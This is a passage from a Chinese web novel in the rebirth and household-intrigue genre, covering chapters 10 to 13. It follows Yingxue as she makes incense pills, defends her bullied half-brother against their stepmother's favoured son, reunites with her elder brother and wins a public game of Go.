郑少臣甚是惊喜，“那就烦请三姑娘帮忙炼制利于止咳的香丸，所需任何药材，你列出单子来，我让王府筹备。”
映雪应下。
四人又交谈了片刻，郑少臣与许牧舟便离开了嘉和居。
嘉柔郡主面露懊恼之色，“我真是不孝，竟未曾想到香丸对母妃有效。母妃咳嗽许久，宫里的御医皆已看过，却始终不见好转。平日里去向母妃请安，母妃总是拦着，只能隔着帘子与母妃交谈。”说着，竟伤心地哭了起来。
映雪赶忙拉起嘉柔郡主的双手，安慰道：“郡主，这怎能怪你呢，我也未曾想到呀。王妃那般好，相信我，定会康复的。好啦，再哭可就要变成小花猫喽。”
嘉柔郡主噗嗤一笑，“我才不要变成小花猫呢，映雪姐姐，都跟你说过多少回啦，叫我嘉柔或者晗玉就行，叫郡主都显得生分了。”
映雪笑道：“行，那便叫你嘉柔。”
两人又聊起香丸，嘉柔郡主又道：“哼，多亏清平有事没来，不然你送我的香丸定会被她顺走一半。”
映雪调侃道：“清平要是在，估计一看到香丸，就要跟咱俩开铺子了。”
嘉柔郡主暗自思忖，说道：“此次还真可行，这香丸市面上根本买不到，效果又如此之好，足见其价值所在。要是开铺子定然会日进斗金，虽说咱们不缺钱，可谁会嫌钱多得烫手呀。”接着又向映雪眨眨眼，问道：“映雪姐姐，你该不会嫌我占你便宜吧。”
映雪戳了一下嘉柔郡主的脑门，嗔道：“瞎说啥呢。”同时在心里暗思，自己既然炼出了香丸，日后托她炼制的人定然不会少，应了这家就没法拒绝那家，真要如此，自己怕是得没完没了地炼制，想想都觉得头大。很快便下定决心道：“我看行，那下次咱们约上清平，好好谋划一番。”
两人皆欢喜异常，在嘉和居用过午膳，又嬉戏玩闹了许久，映雪这才起身，表示要回府。
嘉柔郡主一直将映雪送至门口，被映雪阻拦，“好了，再送，我可要怀疑，你是不是想趁机溜出去玩耍了。”
嘉柔笑出了声，“才不会呢，回去之后你可记得给我下帖子，我也要去你的静逸庐见识一番。”
映雪笑着点头回应，“记着呢，你回去吧。”言罢，便离开了豫亲王府。
上了马车，行至半途，前方陡然冲出一位四五岁的男童，马夫慌忙勒紧缰绳，欲避开，一紧张马车竟变了道，朝旁边的摊子撞去，马受惊后，疯了似的狂奔起来。映雪在马车里被撞得浑身疼痛，强忍着掀开车帘，眼看马车就要撞上前方的柱子，映雪吓得面色煞白，紧紧闭上了双眼。
下一瞬，马竟突
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然停住，马车随之摇晃了一下，映雪撞在了一堵“肉墙”上。
随即，传来一声闷哼，映雪睁眼，竟是景阳侯世子。
许牧舟凝视着映雪的眼眸，逗趣道：“算上这次，我也算救了苏姑娘两回吧，苏姑娘还真是多灾多难。”
映雪面红耳赤，甚是气恼，“我又没求着许世子相救，待我回府，自会好好答谢许世子一番。”说得咬牙切齿。
许牧舟见映雪这般模样，也觉有趣，含着笑说道：“那我便等着苏姑娘的谢礼了。”接着又道：“我原以为你今日会问我玉佩之事呢，说来，那玉佩着实是个宝物，可惜你打不开。”一副为映雪深感惋惜的语气。
映雪因忙于炼香，的确忘却了玉佩之事，这会儿听许牧舟提及玉佩乃是宝物，瞬间来了兴致，且丝毫未怀疑许牧舟骗她，毕竟那玉佩着实怪异。
赶忙追问道：“究竟是何宝物？要怎样才能打开？”
许牧舟摇头，“暂且还不能告知于你，你回府仔细思量清楚，若确实想要知晓，就派人送信至景阳侯府。”
言罢，转身离去。
映雪皱眉，抬头便瞧见身边围了一圈小贩，再朝其身后望去，撞倒了一堆摊位。
连忙让竹韵赔付了银子，回了府。
许牧舟刚回到景阳侯府，就被下人叫住，径直去了侯夫人的院子。
一进屋便见娘的神情时而喜悦时而犹豫。
许牧舟踌躇着，喊道：“娘，何事？”
侯夫人抬头看向儿子，欢喜地说道：“你这孩子，有了心上人，怎的也不跟娘讲，娘难道还会笑话你不成？是哪家府上的小姐？娘见过没？年岁几何？”一连串的问题抛出，把许牧舟砸得直发懵。
许牧舟没好气地说：“哪来的什么心上人，我自己都不知晓。”
侯夫人见儿子不肯承认，哼道：“那你书房里的绢花是谁的？你可别跟我说，是买来送我的。”
许牧舟似是想到了什么，耳朵微微泛红。
侯夫人见状，兴奋得不行，心中暗忖：舟儿总算开窍了，哼，跟他爹一个样，浑身上下，就嘴最硬。
紧接着又调侃道：“怎么，说不出话来了？”
许牧舟只得回道：“绢花是我捡的，真没有心上人。”
侯夫人也不戳破他，心想，若不是喜欢人家，怎会留着人家掉落的绢花，随口说道：“以前不是，往后可以是。”然后心里开始盘算起聘礼来。
许牧舟瞧着自家娘亲各种补脑雀跃的神情，便知绢花到了娘手里准没好事。
只想着先离开，侯夫人哪里肯放，直接放话道：“要么娶这位小姐，要么娶清儿。”
又说道：“娘答应你，只要你这次乖乖听娘的话，等你成亲后，娘就去跟你爹说，让你进军营。”
许牧舟闻言，眼中闪过一丝亮光。
10. 苏敏皓
映雪回了侯府，正要去映月阁，路过府里的荷花池时，耳畔传来一阵嘈杂之声。
循声望去，只见七弟苏敏皓正双手叉腰，趾高气昂地站于一棵树下。而五弟苏璟谦则蜷缩在一旁，衣裳略显凌乱，脸上沾着些许尘土，眼中满是惊恐与委屈。
苏敏皓昂着头，一脸骄横地冲着苏璟谦喊道：“你不过是个庶子，也敢与本少爷争抢那只鸟！”言罢，抬脚便朝苏璟谦踢去。
苏璟谦不敢躲闪，硬生生挨了这一脚，身子不禁颤抖了一下，却紧咬嘴唇，不敢哭出声来。
“哼，你不是想要救这只鸟吗？我偏要摔死它。”说着，苏敏皓就要将手中的幼鸟往地上摔。
映雪见此一幕，心头涌起一股怒火，快步走上前去，怒喝道：“苏敏皓，你在做什么！”
苏敏皓见到映雪，也不行礼，一副你耐我何的表情。
映雪见状，心里升起一丝怒气，斥责道：“你才六岁，怎就如此恶毒？母亲是如何教养你的？”一连串的斥责朝苏敏皓涌去，苏敏皓被映雪吼得哇哇大哭。
映雪并未理会，直接拉起了苏璟谦，关切地问道：“五弟，你有没有事？一会儿跟三姐姐去映月阁，三姐姐让丫鬟给你做点心吃。”
苏璟谦小心翼翼地拉着映雪，他从未敢想，三姐姐会为了他训斥七弟。
苏敏皓见映雪不理他，只对苏璟谦好，哭得愈发大声。
哭声将正在四处找寻他的王嬷嬷引了过来，王嬷嬷焦急地上前哄着苏敏皓。
紧接着，大夫人也找了过来，见苏敏皓哭得伤心，脸色立马阴沉下来。
朝着映雪，隐带着一丝愠怒，问道：“究竟怎么回事？”
映雪撇撇嘴，说道：“母亲，七弟实在太不懂事了，对兄长毫无敬重之意，抬脚就敢往兄长身上踹。五弟想要救从树上掉落的幼鸟，七弟却要将其摔死，毫无怜悯之心。祖母向来最重视侯府的家风品德，倘若知晓七弟年纪小小便这般恶毒，还不知怎么罚他呢。”
眼见大夫人脸色难看至极，很快又恢复神色，温和地说道：“映雪，你这个做姐姐的见弟弟犯错自然可以教训他，你弟弟一向单纯，不辨善恶，定是身边的随从教唆所致。”
说罢，眼神朝旁边的随从飘去，随从吓得直打哆嗦。
映雪心底嗤笑，又想起前世大哥意外，世子身份便落在了苏敏皓身上，脸上也浮现出些许不快，紧接着说道：“那母亲可要仔细挑选侍候七弟之人，免得七弟年纪尚小，就养坏了性子。说起来，也不知七弟这性子像了谁，既无爹爹的磊落品性，也无母亲的宽厚胸怀。”说罢，又拍了拍苏璟谦身上的泥土道：“母亲，您也别生七弟的气了，回去好好教导一番便是，我带五弟回映月阁了，先行一步。”
说完，便转身离去。
大夫人强忍着暴怒的神情，含笑点了点头。
待回到映月阁，映雪让白芷带着苏璟谦下去收拾一番。
竹韵见周围无人，忍不住提醒映雪道：“姑娘，您方才那番话定然惹怒了大夫人，我站在一旁，都能感受到大夫人身上传来的阵阵寒意。”
映雪不以为意，她就是要大夫人有所行动，不动又怎能抓住她的把柄呢。
前世，苏璟谦在大哥出事前，就掉进荷花池溺亡了，林姨娘之后就疯了，被送去了庄子上，老夫人因此还把荷花池给填了，苏映蓉却还为此可惜，说侯府少了一处消遣的地方，她觉得苏映蓉冷血，为此还和她大吵了一架。
后来大哥和父亲相继出事，按理说苏敏皓还不到十岁，并不能继承侯府爵位，听闻是大夫人救了宫中的太妃，太妃怜她孤儿寡母，又念及永安侯因公丧命，便向皇上求情，许苏敏皓提前承爵。
大夫人对父亲的去世似乎并无太多的悲痛，永安侯府的顶梁柱没了，侯府也就名存实亡，大夫人的行为着实怪异得很。
映雪摇摇头，想不明白。
竹韵见映雪沉思后摇头，以为姑娘也觉得刚才的举动不妥，但事已至此，无法改变，便安慰映雪道：“姑娘，您也无需担忧，老夫人定会帮着您的。”
映雪轻笑。
随后，穿着大哥苏景皓衣服的苏璟谦随着丫鬟进来了。
有模有样地朝着映雪行礼，道：“多谢三姐姐相救。”
映雪噗嗤一笑，看着眼前的五弟，虽身形消瘦、却也有礼有貌，心里甚是满意。
拉着苏璟谦坐下，丫鬟端来各式各样的点心，映雪让苏璟谦品尝，又询问苏璟谦学业、膳食等情况，苏璟谦皆一一作答。
映雪心想，好好培养五弟，将来也能为大哥带来助力。
见苏璟谦拘束，宽慰道：“在姐姐这里无需拘束，日后若有人欺负你，姐姐定会为你做主。”
闻言，苏璟谦眼眶通红，险些落泪。
七弟每每欺负他，姨娘只会让他忍着，只因他是庶子。
未曾想三姐姐会为他撑腰。
映雪见五弟一脸感动的模样，想到他前世小小年纪就早夭，心中有些难受，轻拍着五弟的头颅，轻声哄道：“五弟莫要难过了，往后不会有人欺负你，你要好好学习，将来做大哥的左膀右臂。等大哥从书院归来，我让大哥带你去骑马。”
苏璟谦点头，心中满是期待。
过了一会儿，有丫鬟前来禀告，福身说道：“姑娘，林姨娘过来了。”
映雪点点头，丫鬟便下去将林姨娘领上了二楼。
林姨娘身着一件浅黄夹袄，下着月白褶裙，生得杏眼桃腮，身姿曼妙。见苏璟谦正吃着点心，一颗忐忑不安的心总算踏实下来，三姑娘没有
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嫌五少爷庶出，她心中又微酸，五少爷到底年岁尚小，见三姑娘待他好，就忍不住想要亲近，幸好是三姑娘。
林姨娘忙快步上前，苏璟谦见她来了，赶忙起身，倒未行礼，亲昵地唤了声：“姨娘。”
林姨娘的目光落在映雪身上，福身道：“五少爷顽皮，冲撞了七少爷和三姑娘，奴婢代他赔不是。”
“姨娘，是三姐姐帮了我。”苏璟谦赶忙回答。
映雪起身，见林姨娘脸色潮红，眉眼透着病态，皱眉问道：“林姨娘可是病了？”
林姨娘愧疚地点点头，“兴许是着凉了，有些发热，怕过了病气给五少爷，这才疏忽了。
“姨娘不知道水边危险吗？”冷不防，映雪冒出这么一句，把林姨娘惊在那里许久。
说完，见林姨娘困惑地望着她，映雪沉着脸道：“五弟他们玩的地方离荷花池那么近，若是不小心掉进水里，那周边的下人又少，我可不想侯府里也有掉水溺亡的孩子。”
最后一句话，映雪说得颇为严厉。
林姨娘身子一颤，想到五少爷自己经常独自跑过去玩，心里忽然就涌起一阵害怕来。
映雪并未理会她，转而看向苏璟谦说道：“三姐姐送你笔墨纸砚，天气渐冷，你就乖乖在屋里读书，倘若想念三姐姐了，亦可来映月阁玩耍。”
苏璟谦的双眸瞬间亮了起来，他居然还能去映月阁玩，以往因惧怕三姐姐嫌弃自己是庶子，从不敢上前亲近。
林姨娘喜不自禁，未曾想到五少爷能入三姑娘的眼。三姑娘待人好时，那真是全心全意的好。
绿绮怔住，自从姑娘从昙华寺回府，行事与往昔大相径庭，以前姑娘更偏袒七少爷呢。
林姨娘带着苏璟谦离开后，映雪也吩咐绿绮送了笔墨纸砚过去，是一个极大的包袱。
待绿绮离开，林姨娘打开包袱，只见里面除了笔墨纸砚、字帖、精致的九连环等玩具之外，还有两件冬天穿的斗篷，皆是狐狸毛制成，摸上去柔软舒适，还有个荷包。打开荷包，里面有十几颗金花生和两颗碧玉葫芦，苏璟谦欢喜得不行。紧紧抱着包袱不撒手，他从未收到过如此多、如此好的礼物。
林姨娘红着眼眶说道：“你三姐姐为人良善，体谅咱们母子清苦，私下里关怀咱们，乖孩子，这些咱们先收起来，玉葫芦姨娘给你打上络子，挂在身上把玩。”
苏璟谦这才恋恋不舍地松手。
林姨娘瞧着，只觉眼睛又酸又涩：“姨娘没什么能耐，三姐姐疼你，你往后定要好好读书，将来长大成人，为你三姐姐争得颜面。”
苏璟谦猛地点头。
晚膳后，绿绮将听来的消息告知映雪：“姑娘，听说向表姑娘近日会来侯府。今日我送东西去林姨娘院子，路过绮梦居，询问才得知。”
11. 向莞宜
映雪愣了一下，放下手中的茶水。想起前世向莞宜在她临死前告知她的那些真相，心中冷笑，这是见她昙华寺之行未在她的计划之中，要亲自前来打探吗？她倒是不知，向莞宜竟还有“决胜千里”的能耐了。
映雪许是忆起前世之事，整晚多梦。次日醒来，眼底泛起青色，映雪让丫鬟涂了些粉脂加以遮盖。
早膳过后，她去了荣晖堂向老夫人请安。
苏沁雪阴阳怪气地说道：“三姐姐可真是好大的威风呢！七弟才多大呀，昨天竟被三姐姐训得晚间都做起了恶梦，早晨更是哭着醒来。”
老夫人听了，面露诧异之色，正欲开口询问究竟是怎么回事。
不料这时有丫鬟匆匆前来禀报：“老夫人，前厅有豫王府的管事送了东西过来，让三姑娘前去查收。”
老夫人一时顾不上其他，忙向映雪问道：“映雪，这究竟是何意？”
映雪随意道：“哦，昨日去豫王府，豫亲王世子听闻我说‘缥缈香’有养颜功效，知道我在炼制香丸时添加了药材，就想让我给王妃炼制一些利于止咳的香丸。王妃最近咳嗽不佳，应当是送了药材过来。”
苏沁雪闻言，心生嫉妒，冷声道：“三姐姐，虽说能帮王妃对侯府而言是好事，可万一三姐姐炼制的香丸让王妃病情加重，侯府可是担待不起。”
老夫人也有些不放心，犹豫道：“映雪，这香丸毕竟不是药丸，也不能治病，你也是首次炼制，此事你可仔细思量过了？”
映雪缓缓点头道：“祖母，我跟世子说过的，不能保证有效果，且真要给王妃用，豫亲王府也会请御医查看，是否有妨碍。”
老夫人这才放心，摆手让映雪去前厅。
苏映蓉想去瞧瞧豫亲王府送了何物过来，又怕苏沁雪心中不快，便讨好着说道：“四妹妹真是深谋远虑，尚未发生便把可能出现的后果想到了，这要是我，眼皮子浅得只高兴能与豫亲王府搭上关系呢。”
映雪心中讥笑，还真是无时无刻都能捧着苏沁雪。
老夫人倒是赞同苏沁雪的做法。苏沁雪这才心情好转，苏映蓉见苏沁雪脸色恢复，上前唤道：“走，四妹妹，我们跟三妹妹一起去前厅，看看豫亲王府送了什么好东西过来。”
几人一同前往前厅，豫亲王府除送了药材过来，还送了厚重的礼物给映雪。映雪顺手就要把其中一匹云锦送给大姐姐苏秀蓉，并打趣道：“大姐姐，你正要议亲，这匹云锦送给你，你做套衣裳，好好装扮装扮，赶紧给我找个大姐夫。”
苏秀蓉赶忙拒绝道：“你这丫头，大姐姐还缺套衣裳不成？你大手大脚惯了，也该学着管家了，云锦珍贵，哪能你说送就送，你就算不穿，留着日后当嫁妆也是极有脸面的。”
映雪不听，直接把云锦交到苏秀蓉丫鬟的手上。
苏映蓉眼热得不行，开玩笑道：“大姐姐不要就给我吧，我还没穿过云锦做的衣裳呢。”
苏秀蓉怕映雪真把云锦给了二妹妹苏映蓉，这才无奈收下，心里却想着，除了海棠酥，再送点三妹妹什么好。若东西给了二妹妹，那真是肉包子打狗，有去无回了。
苏映蓉见无人理会自己，也不自讨没趣，赶紧岔开话题道：“等向表妹来了，侯府又要热闹起来了，向表妹聪明活泼，想来会给我们带来些乐趣。”
映雪假装不知，诧异道：“向表妹要来侯府住吗？她家不就在京城，虽说偏远了些，一天也能来回吧？”
闻言，苏映蓉有些疑惑：“三妹妹，你不是一向与向表妹最为要好吗？往常向表妹来侯府做客，你还舍不得她走呢，你这话问的，好似不欢迎向表妹来呢。”
映雪摇头：“我自是知晓向表妹与我们不同，她是向府长女，下面还有弟弟妹妹要照看，鲜少有自己的空闲时间。”
苏沁雪这才说道：“莞宜表姐来府里，是外祖母让母亲帮莞宜表姐相看，有无合适的人家议亲。”
映雪惊叹道：“可向表妹不是才十四岁吗？和我同岁，我记得只小我一个月吧，怎么就要议亲了？”
紧接着，苏映蓉这才接话道：“向府怎能与我们侯府相比，何况只是议亲，如果有合适的先订下来，自然也能为向府谋好处。”又惋惜道：“可惜向表妹有那样的父母，也是不幸，这才求到外祖母吧。”
映雪心中冷笑，难怪如此着急想要设计她。
映雪领了豫亲王府送来的东西，便回到映月阁。
瞧见豫亲王府送来的谢礼中竟有一块上好的砚台，映雪舍不得自用，便对竹韵说道：“这块砚台极好，我用了也是浪费，就留给大哥吧，也不知大哥何时归来。”
忽然，一阵脚步声传来，还有说话声响起：“亏大哥还有些舍不得把马术赢来的奖品送给你，没想到你有好东西还能念着大哥。”
听到这浓郁熟稔的声音，映雪身子一怔，鼻子一酸，赶忙从椅子上起身，迎了过去。
待看到大哥苏璟皓那张脸，眼泪唰唰地流了出来。
这把苏璟皓吓了一跳，沉着脸问道：“谁欺负你了？”
映雪眼眶更红，她只是许久未听到大哥的声音了，没想到还能再次听到大哥的亲切话语，她感恩上天对她的垂怜。
映雪轻轻拭去泪水，在心中发誓：这辈子绝不会让大哥出事，大哥一定要活的很好！
“没事呢，就是听闻大哥说有礼物送我，激动罢了，大哥，奖品是什么？”映雪迫不及待地询问，神情已然恢复，眼中满是兴趣盎然。
苏璟皓眸底带着疑惑，皱眉道：“可是她令你受委屈了？”
苏璟皓口中的她指的是大夫人。大
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夫人续弦进门时，苏璟皓已有五岁，已然懂事，曾私下撞见过大夫人对身边婆子说他们兄妹俩是讨债鬼。
事后他向父亲告状说大夫人不好，大夫人却哭哭啼啼说继母难为。
此后，大夫人行事愈发谨慎，对他和妹妹关怀备至，妹妹天真，轻易就被哄骗了过去。
而他却一直对继母怀有戒心。
所以苏璟皓以为是大夫人私下让映雪受了委屈。
映雪破涕为笑，拉着大哥坐下，“大哥还不了解我吗？母亲怎会让我受委屈，我要是受委屈了，还不得找祖母和爹爹告状。”
苏璟皓想想也是，这才放下心来。
映雪追着问道：“大哥的礼物呢？”
苏璟皓从袖子里拿出一个锦盒，映雪打开，竟是一块品质极佳的墨玉，雕刻精美。待上手触碰，冰凉温润，比她脖子上的玉佩不差。
映雪诧异道：“你们书院比试竟会有如此丰厚的奖品？”
苏璟皓笑道：“这次恰好赶上太子正在书院，听说我们要比试马术，就拿了随身佩戴的玉佩作为奖赏鼓励。”
映雪会心一笑，难怪大哥舍不得把玉佩送她，不过她已然有了玉佩，用不上大哥这块。
太子是原后生的嫡长子，从小就被立为太子。十岁时意外中毒，大病一场，导致身体虚弱。太子娶太子妃后，膝下只有一女，尚未有子。
太子自幼文采斐然，品性纯善。尽管朝中时有流言传出，言称太子身体孱弱，且尚无皇子，储君之位恐难保全。然而，皇上对太子寄望甚深，从未有过动摇太子之位的想法，多年来一直致力于为太子寻觅良医名医。
映雪推拒着玉佩，撒娇道：“大哥，这玉佩一看就是适合男子佩戴的，我不要它，你得重新买份礼物给我。”
苏璟皓闻言，笑得灿烂：“你想要什么？大哥定会买给你。”
映雪笑着点头，又追问道：“大哥，太子怎会突然去书院呢？”
苏璟皓摇头：“太子是随景阳侯世子一同去的，兴许是找山长请教学问吧，山长曾给小时候的太子讲过学，还是太子的老师呢！”
凌云书院的山长，乃当世大儒，其门下弟子无一不是当世名流。太子算是他最为年幼的弟子。映雪暗自思忖：要是能让大哥拜山长为师就好了。
接着苏璟皓又一脸得意，笑道：“景阳侯世子今日还主动找我搭话呢，景阳侯府与永安侯府一向是并无往来，看样子大哥这次比试真是大显神威。”
景阳侯府在京城的地位极为特殊。景阳侯乃是大乾战神，在京城之中，年轻公子们鲜有人不对景阳侯怀有崇拜之情。
对苏璟皓而言，景阳侯世子主动找他搭话，则是离景阳侯更近一步。
映雪挑眉，这才想起，还未给景阳侯府送答谢礼。
12. 对奕
第二天一早，映雪便安排下人将她准备好的谢礼送至景阳侯府。
景阳侯夫人满心疑惑，问道：“这谢礼是？”
永安侯府的随从神色恭谨，垂首回道：“贵府公子前日于闹市之中，毅然出手相助，为我府三姑娘拉住了发狂的马车，使三姑娘得以免受惊吓。小的奉府中主子之命，特送来谢礼，以表我府感激之情。”
侯夫人闻言，这才恍然大悟，忙让丫鬟取来丰厚赏赐，赏给永安侯府的随从。
待随从离去。侯夫人暗自思量，那绢花定是永安侯府三姑娘的了，心中暗喜。她虽不在乎未来儿媳的家世，但能锦上添花自然是更好。只是可惜以前与永安侯府并无往来，也不知那三姑娘容貌如何，性子怎样，有何喜好，恨不得立刻就在府里举办一场宴会，邀请那三姑娘来府上玩耍。
转而问起身边的丫鬟：“世子可在府中？”
丫鬟摇头：“世子去了凌云书院，尚未回府。”
侯夫人只好作罢，命人将谢礼送去临风轩。
苏璟皓不知给映雪买何礼物，便给了映雪一百两银票，让映雪去文澜阁自行挑选。
在荣晖堂请过安后，映雪向老夫人提及，要去文澜阁买头饰，苏秀蓉想到那匹云锦，表示要陪映雪一同前往，届时映雪若有挑中的首饰，正好可以买来送她。
苏沁雪和苏映蓉也叫嚷着要一起去：“祖母，我们许久未曾逛过文澜阁了，都不晓得这京都如今流行的头饰是何模样！”当然，这话说得夸张，府里一年四季置办的衣裳、首饰，哪个不是依照京都流行的款式所制。
老夫人心软，听着孙女们撒娇，哪能不应允，便命秦嬷嬷又取了两百两银票出来，交到苏秀蓉手中。
府里备好两辆马车，映雪和苏秀蓉坐前一辆，苏沁雪与苏映蓉坐后一辆。
几人到了庆云街便下了马车，一路闲逛着。
逛至“钟书阁”，里面传来一阵喧闹。
听旁边人讲，是李祭酒家的姑娘正在与人对弈，未遇敌手。
苏沁雪听了，嗤之以鼻，对映雪几人说道：“我们也去瞧瞧她是否真如此厉害。”
苏沁雪虽年纪不大，但在京都也有些才名，这李祭酒家的姑娘才名恰在她之上，所以两人有些不对付，在宴会上碰见，也会相互呛上几句。
映雪对此毫无兴趣，刚要拒绝，就被苏映蓉挽着胳膊带进了钟书阁。
钟书阁乃是京都最大的字画铺子。
两层楼，第一层售卖的是笔墨纸砚、棋盘等，第二层卖的是字画、书籍等。
刚踏入屋内，就见前方围着一群人，中间正有两位姑娘在对弈。对面那位姑娘身着一身金丝海棠花湖蓝绸袄，着鹅黄百褶裙，十三四岁的模样，鹅蛋脸，杏眼，肤色白皙，正是李祭酒家的嫡女，李素心。
李素心抬眼便瞧见苏沁雪。
便讥讽道：“哟，原来是永安侯府的小才女。”
苏沁雪亦回讽道：“我好心关怀你，免得你一会儿输棋要哭着跑回府。”
李素心嘴角上扬：“那你可要失望了，还是说你想与我比试一番。”接着又道：“可别了，我怕你输得太难看，毁了你才女的名声。”
苏沁雪气得满脸通红：“谁怕了，比就比。”
苏映蓉赶忙拉住苏沁雪，劝道：“我们侯府向来低调，何必在意争抢这种风头。”她是怕苏沁雪在外输了名声，回府后大夫人会重罚她。
李素心听闻，笑出了声：“这是不敢比试了，拿侯府行事作风作遮掩，早说嘛，我又岂会强逼于你。”
本来苏沁雪有些打退堂鼓，这会儿却也顾不得许多了。
一下就坐到了李素心的对面，原来那位姑娘早在她们争执时便让出了位置。
李素心扫了一圈映雪等人，张狂地说道：“我不介意一对四，你们可以一起上。”她要让众人知晓，永安侯府的姑娘全是草包。
苏秀蓉笑道：“李姑娘还是与四妹妹对弈吧。”
映雪颇为无语，苏沁雪怎就这般经不住他人激将。
永安侯府姑娘与李祭酒家姑娘的比试，动静颇大，不少人都围过来瞧热闹。
半柱香的工夫，比试结束，苏沁雪脸色难看。
李素心趾高气扬：“看来传闻才情出众的永安侯府姑娘也不过尔尔嘛。”
苏沁雪气得直跺脚，见映雪站在一旁神色如常，仿佛事不关己，愈发恼怒，便冷笑一声：“侯府棋艺最佳的是我三姐姐，你若真能赢过我三姐姐再得意不迟。”
说着便把映雪拉了过来：“三姐姐，你来和李姑娘对弈，免得她目中无人。”
映雪心中直骂苏沁雪蠢笨如猪，自己若不比或是比试输了，岂不是让他人将永安侯府的脸面踩在脚下。
映雪无意相争，却又不得不争。
便在苏沁雪方才的位置坐了下来。
李素心执白棋，映雪执黑棋。
一柱香的时间，黑棋渐渐将白棋团团围住，白棋无路可走。
李素心输得心服口服，赞道：“往日只闻永安侯府四姑娘才情过人，没想到三姑娘才是深藏不露。”
映雪谦逊地笑道：“不过是侥幸罢了。”
映雪在钟书阁挑选了一副玉质棋盘，打算送给苏宇皓。
从钟书阁出来，苏映蓉见苏沁雪脸色不快，便提议去文澜阁买头饰。
老夫人给了苏秀蓉两百两，四人一人挑了一根玉簪。映雪带着苏璟皓给的银票分文未花，几人便打道回府了。
老夫人及大夫人已然听闻映雪与人对弈获胜
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之事。老夫人满脸堆笑，大夫人却暗生闷气，颇觉委屈地说道：“映雪这丫头，竟是个藏拙的，平日里见她总是逃避侯爷对功课的考教，我也跟着操碎了心，生怕映雪在功课上有所怠慢，私下里还总是劝诫。”
老夫人亦颇感意外，不管是玲珑香丸，还是此次与人对弈，映雪都令她吃惊不已。当然，她断不会认为映雪故意藏拙，只当映雪是开窍了，毕竟映雪向来聪明伶俐。
“等映雪归来，我们再细细询问她。她能开窍乃是好事，总归是把心思用在正途上了。”老夫人笑道。
大夫人眸光闪烁，脸色略显阴冷。
映雪几人回来后，乖巧地给老夫人请安。
苏秀蓉眉开眼笑：“祖母，三妹妹可真是厉害，对弈赢了李祭酒家的姑娘，为咱们侯府争了光，祖母可要好好奖赏三妹妹。”
大夫人却是笑不达眼底：“映雪，你此次可是给你四妹妹树立了一个好榜样，你四妹妹向来心高气傲，这次让她栽了个跟头，也好让她知晓人外有人。”
映雪心中冷笑，这分明是见她踩着苏沁雪的脸面出了风头，心里气恼罢了。
映雪一脸温和，笑道：“四妹妹与李姑娘比试输了，李姑娘就是没有明言永安侯府的姑娘都是一群草包，可四妹妹却将我推至人前，我若再输了，永安侯府的脸面可就被他人踩在脚下了。”
苏沁雪质疑道：“那为何你以前棋艺不佳，今日却能赢了李姑娘？”
映雪故作生气道：“四妹妹明知我棋艺不精，还推我上前，难道是想让我也跟着你一起丢脸吗？”
苏沁雪一时无言，神色闪躲。映雪也不再理会她，接着说道：“都是府里的姐妹，平日里下棋不过是消遣之乐，着实没必要争个你输我赢。”
这便是告知众人，为何平日棋艺不显，今日却能赢了李姑娘，只因她不爱争输赢罢了，也不在乎那所谓才女的名号。
当然，她之所以有如今的棋艺，皆是她前世嫁给陈煜安，为了投其所好，从而锻炼出来的。
大夫人见映雪生气，脸色微僵，朝苏沁雪轻声呵斥道：“沁雪，给你三姐姐道歉。”
苏沁雪不情不愿地朝映雪福身行礼：“三姐姐，今日是我一时糊涂，请三姐姐原谅。”
映雪余光瞥见大夫人眼底蒙了一层寒霜，笑得愈发灿烂。
扶起苏沁雪，笑道：“我知晓四妹妹并非有意，只是往后可别再口无遮拦了。”
大夫人见两人和好，笑得温和，朝映雪说道：“你们姐妹一向亲密无间，往后也多指点沁雪的棋艺，届时两人共同进步才好。”
映雪笑吟吟的，也不搭话。
晚上沐浴时，映雪瞧见脖子上的玉佩愈发晶莹明亮，忆起景阳侯世子提及的宝物，眼神不禁一闪。
13. 苏秀蓉
许牧舟回府，踏入临风轩，一眼便瞧见桌上放置着一个精致的盒子。他抬头，目光示意身旁的双喜。双喜当即咧嘴一笑，说道：“世子，这是永安侯府送来的，说是为了感谢您的相救之恩。”
许牧舟挑眉，眼中流露出饶有兴致的神色。打开盒子，只见里面放置着一幅画和几样珍贵药材。缓缓展开画卷，竟是逸云居士的得意之作——《云林逸景图》。许牧舟不禁轻笑出声，吩咐道：“双喜，把这幅画挂到书房去。”双喜连忙应道：“是。”
许牧舟思绪飘转，想起了那块玉佩，心中暗忖：他就不信那丫头对他所说的宝物不好奇。手指轻轻在桌上敲打，暗自思忖着，那丫头既然注定是他的命定之人，他何不提前行使宝物的权力？他着实也想知晓这宝物究竟有何神奇之处。
映雪正在逸静庐为豫王妃精心炼制“碧琼丸”。待到“碧琼丸”出炉，其色泽呈碧绿色，映雪将其放置鼻前用力一吸，顿觉有一种清新、舒缓之感。
这时，竹韵过来禀告：“姑娘，大姑娘过来了。”映雪含着笑说道：“正好，我刚忙完。今日留大姐姐在映月阁一道用午膳，你去厨房安排一下。”竹韵应了声，便转身去安排。
映雪匆忙赶回内室，只见苏秀蓉正静静地坐在桌旁等待着她。见映雪气喘吁吁，身上还带着一丝若有若无的香气，苏秀蓉赶忙起身迎了上来，说道：“你这般着急作甚，大姐姐又不是外人，我可是打扰到你制香了？”
映雪摇摇头，目光一下子就瞥见了苏秀蓉丫鬟手中的食盒，调皮地一笑，说道：“我刚忙完呢，大姐姐是不是给我做海棠酥啦？我正好饿了。”
苏秀蓉微笑着点头，将食盒中的点心一一取出，整齐地摆放在桌上，打趣着说：“答应你的没做到，怕你把我的秀宁居居给拆了。”这海棠酥做法甚是复杂，可苏秀蓉做的海棠酥比酒楼里的还要美味。外酥内甜，软糯非常，造型精致小巧，令人垂涎欲滴。
映雪迫不及待地拿起一个，一口一个，转眼间就连续吃了三个。苏秀蓉见状，赶忙伸手制止，说道：“马上就要用午膳了，吃多了怕是不好消化。”映雪这才停下，嘴里还含着点心，含糊不清地夸赞道：“大姐姐做的海棠酥最最好吃了。”
苏秀蓉微微含羞，说道：“哪有你说得这般夸张，说出去可要惹人笑话了。”
待映雪净了手，苏秀蓉又递过来一个香囊。藕荷色的香囊，小巧玲珑，不过掌心大小，却尽显精致奢华。由绸缎制成，金线缝边，上面绣着栩栩如生的蝶恋花图。粉色的蝴蝶在娇艳的花朵间翩翩起舞，仿佛能让人闻到那花朵的芬芳。
映雪眼神瞬间一亮，满心欢喜地说道：“大姐姐，这香囊是送给我的吗？我太喜欢了。”
苏秀蓉含笑道：“知晓你不爱女红，大姐姐也没别的东西送你，你不嫌弃就好。”
